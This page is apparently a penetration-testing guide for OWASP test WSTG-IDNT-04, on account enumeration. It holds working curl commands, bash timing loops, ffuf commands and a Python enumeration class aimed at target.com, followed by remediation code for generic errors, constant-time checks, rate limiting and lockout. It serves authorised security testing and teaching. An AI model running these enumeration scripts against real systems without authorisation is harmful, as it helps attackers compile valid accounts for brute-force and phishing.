Wstg Idnt 04

wstg-idnt-04

Test ID

WSTG-IDNT-04

Test Name

Testing for Account Enumeration and Guessable User Account

High-Level Description

Account enumeration occurs when an application reveals whether a username or email exists in the system through different response messages, timing differences, or HTTP status codes. Attackers use this information to compile valid account lists for targeted attacks such as brute-force, credential stuffing, or phishing. This test identifies enumeration vulnerabilities across all authentication-related endpoints.

What to Check

Enumeration Vectors

• Login form responses
• Registration form responses
• Password reset functionality
• Username recovery feature
• API endpoints
• Response timing differences
• HTTP status code variations

Response Indicators

How to Test

Step 1: Test Login Page Enumeration

# Test with valid username, wrong password
curl -s -X POST "https://target.com/login" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "username=admin&password=wrongpassword" \
    -w "\nTime: %{time_total}s"

# Test with invalid username
curl -s -X POST "https://target.com/login" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "username=nonexistentuser12345&password=wrongpassword" \
    -w "\nTime: %{time_total}s"

# Compare responses and timing

Step 2: Test Registration Enumeration

# Try registering with existing username
curl -s -X POST "https://target.com/api/register" \
    -H "Content-Type: application/json" \
    -d '{
        "username": "admin",
        "email": "new@test.com",
        "password": "TestPass123!"
    }'

# Try registering with existing email
curl -s -X POST "https://target.com/api/register" \
    -H "Content-Type: application/json" \
    -d '{
        "username": "newuser123",
        "email": "admin@company.com",
        "password": "TestPass123!"
    }'

# Try with new email/username
curl -s -X POST "https://target.com/api/register" \
    -H "Content-Type: application/json" \
    -d '{
        "username": "completelynewabc",
        "email": "completelynew@test.com",
        "password": "TestPass123!"
    }'

Step 3: Test Password Reset Enumeration

# Request reset for existing email
curl -s -X POST "https://target.com/api/password-reset" \
    -H "Content-Type: application/json" \
    -d '{"email": "admin@company.com"}'

# Request reset for non-existing email
curl -s -X POST "https://target.com/api/password-reset" \
    -H "Content-Type: application/json" \
    -d '{"email": "nonexistent@company.com"}'

# Compare responses - should be identical

Step 4: Test API User Endpoints

# Check if user exists via API
curl -s "https://target.com/api/users/admin" \
    -w "\nStatus: %{http_code}"

curl -s "https://target.com/api/users/nonexistent123" \
    -w "\nStatus: %{http_code}"

# Check user profile endpoint
curl -s "https://target.com/api/profile/admin@company.com" \
    -w "\nStatus: %{http_code}"

# Check availability endpoint (if exists)
curl -s "https://target.com/api/check-username?username=admin"
curl -s "https://target.com/api/check-email?email=admin@company.com"

Step 5: Timing Attack Analysis

#!/bin/bash
# Measure response times for different users

echo "=== TIMING ANALYSIS ==="

# Test valid users
for user in admin root administrator; do
    total=0
    for i in {1..10}; do
        time=$(curl -s -o /dev/null -w "%{time_total}" \
            -X POST "https://target.com/login" \
            -d "username=$user&password=wrongpassword")
        total=$(echo "$total + $time" | bc)
    done
    avg=$(echo "scale=3; $total / 10" | bc)
    echo "User: $user - Avg time: ${avg}s"
done

echo ""

# Test invalid users
for user in fakeuser123 nonexistent456 randomuser789; do
    total=0
    for i in {1..10}; do
        time=$(curl -s -o /dev/null -w "%{time_total}" \
            -X POST "https://target.com/login" \
            -d "username=$user&password=wrongpassword")
        total=$(echo "$total + $time" | bc)
    done
    avg=$(echo "scale=3; $total / 10" | bc)
    echo "User: $user - Avg time: ${avg}s"
done

Step 6: Response Content Analysis

#!/bin/bash
# Analyze response differences

echo "=== RESPONSE ANALYSIS ==="

# Login responses
echo "Login - Valid user:"
curl -s -X POST "https://target.com/login" \
    -d "username=admin&password=wrong" | head -50

echo ""
echo "Login - Invalid user:"
curl -s -X POST "https://target.com/login" \
    -d "username=fake123&password=wrong" | head -50

# Compare for differences
echo ""
echo "Password Reset - Valid email:"
curl -s -X POST "https://target.com/password-reset" \
    -d "email=admin@company.com"

echo ""
echo "Password Reset - Invalid email:"
curl -s -X POST "https://target.com/password-reset" \
    -d "email=fake@company.com"

Step 7: Username Guessing

#!/bin/bash
# Common username enumeration

USERNAMES=(
    "admin" "administrator" "root" "user" "test"
    "guest" "demo" "info" "support" "help"
    "sales" "contact" "webmaster" "postmaster"
)

for user in "${USERNAMES[@]}"; do
    response=$(curl -s -X POST "https://target.com/login" \
        -d "username=$user&password=test" \
        -w "|||%{http_code}")

    body=$(echo "$response" | cut -d'|' -f1)
    status=$(echo "$response" | cut -d'|' -f4)

    # Check for enumeration indicators
    if echo "$body" | grep -qi "incorrect password"; then
        echo "[FOUND] $user - Valid username (password error)"
    elif echo "$body" | grep -qi "user not found\|invalid username"; then
        echo "[NOT FOUND] $user"
    else
        echo "[CHECK] $user - Status: $status"
    fi
done

Tools

Automated Enumeration

Username Lists

Example Commands/Payloads

Ffuf User Enumeration

# Login enumeration
ffuf -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
    -X POST \
    -d "username=FUZZ&password=invalidpassword" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -u https://target.com/login \
    -mc all \
    -fc 200 \
    -fr "Invalid username"

# With response size filtering
ffuf -w usernames.txt \
    -X POST \
    -d "username=FUZZ&password=test" \
    -u https://target.com/login \
    -fs 1234  # Filter out size of "invalid user" response

Python Enumeration Script

#!/usr/bin/env python3
import requests
import time
import statistics

class UserEnumerator:
    def __init__(self, target_url):
        self.target = target_url
        self.session = requests.Session()

    def check_login(self, username):
        """Test username via login"""
        start = time.time()
        response = self.session.post(
            f"{self.target}/login",
            data={"username": username, "password": "invalidpassword"},
            allow_redirects=False
        )
        elapsed = time.time() - start

        return {
            "username": username,
            "status": response.status_code,
            "length": len(response.text),
            "time": elapsed,
            "response": response.text[:200]
        }

    def check_password_reset(self, email):
        """Test email via password reset"""
        start = time.time()
        response = self.session.post(
            f"{self.target}/password-reset",
            json={"email": email}
        )
        elapsed = time.time() - start

        return {
            "email": email,
            "status": response.status_code,
            "length": len(response.text),
            "time": elapsed,
            "response": response.text[:200]
        }

    def timing_analysis(self, usernames, iterations=10):
        """Perform timing-based enumeration"""
        results = {}

        for username in usernames:
            times = []
            for _ in range(iterations):
                result = self.check_login(username)
                times.append(result["time"])
                time.sleep(0.1)  # Rate limiting

            results[username] = {
                "avg": statistics.mean(times),
                "stdev": statistics.stdev(times) if len(times) > 1 else 0
            }

        return results

    def enumerate(self, usernames):
        """Main enumeration function"""
        baseline_invalid = self.check_login("definitely_not_a_real_user_xyz")

        findings = []
        for username in usernames:
            result = self.check_login(username)

            # Compare with baseline
            if (result["length"] != baseline_invalid["length"] or
                result["status"] != baseline_invalid["status"]):
                findings.append({
                    "username": username,
                    "reason": "Different response",
                    "details": result
                })

        return findings

# Usage
enumerator = UserEnumerator("https://target.com")
usernames = ["admin", "root", "test", "user", "guest"]
findings = enumerator.enumerate(usernames)

for finding in findings:
    print(f"[FOUND] {finding['username']}: {finding['reason']}")

Remediation Guide

1. Generic Error Messages

# Bad - Reveals user existence
if not user_exists(username):
    return "User not found"
elif not check_password(username, password):
    return "Incorrect password"

# Good - Generic message
if not authenticate(username, password):
    return "Invalid username or password"

2. Consistent Response Times

import time
import secrets

def authenticate(username, password):
    # Start timing
    start = time.time()

    user = get_user(username)

    if user:
        # Real password check
        result = verify_password(password, user.password_hash)
    else:
        # Dummy computation to match timing
        verify_password(password, get_dummy_hash())
        result = False

    # Ensure minimum response time
    elapsed = time.time() - start
    if elapsed < 0.5:
        time.sleep(0.5 - elapsed + secrets.randbelow(100) / 1000)

    return result

3. Rate Limiting

from flask_limiter import Limiter

limiter = Limiter(app, key_func=get_remote_address)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")
def login():
    # Login logic
    pass

@app.route('/password-reset', methods=['POST'])
@limiter.limit("3 per hour")
def password_reset():
    # Always return same message
    return jsonify({
        "message": "If the email exists, a reset link has been sent"
    })

4. CAPTCHA After Failed Attempts

failed_attempts = get_failed_attempts(request.remote_addr)

if failed_attempts >= 3:
    if not verify_captcha(request.form.get('captcha')):
        return jsonify({"error": "CAPTCHA required"}), 400

5. Account Lockout

def check_lockout(username):
    attempts = get_failed_attempts(username)
    lockout_time = get_lockout_time(username)

    if lockout_time and datetime.now() < lockout_time:
        # Don't reveal if account exists
        return True

    if attempts >= 5:
        set_lockout(username, datetime.now() + timedelta(minutes=15))
        log_security_event("account_lockout", username)
        return True

    return False

Risk Assessment

CVSS Score

Attack Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE Categories

References

• OWASP WSTG - Testing for Account Enumeration
• OWASP Authentication Cheat Sheet
• PortSwigger - Username Enumeration

Checklist

[ ] Login form tested for enumeration
[ ] Registration form tested
[ ] Password reset tested
[ ] Username recovery tested
[ ] API endpoints tested
[ ] Response content compared
[ ] Response timing analyzed
[ ] HTTP status codes compared
[ ] Username guessing performed
[ ] Rate limiting verified
[ ] Lockout mechanism tested
[ ] Findings documented
[ ] Remediation recommendations provided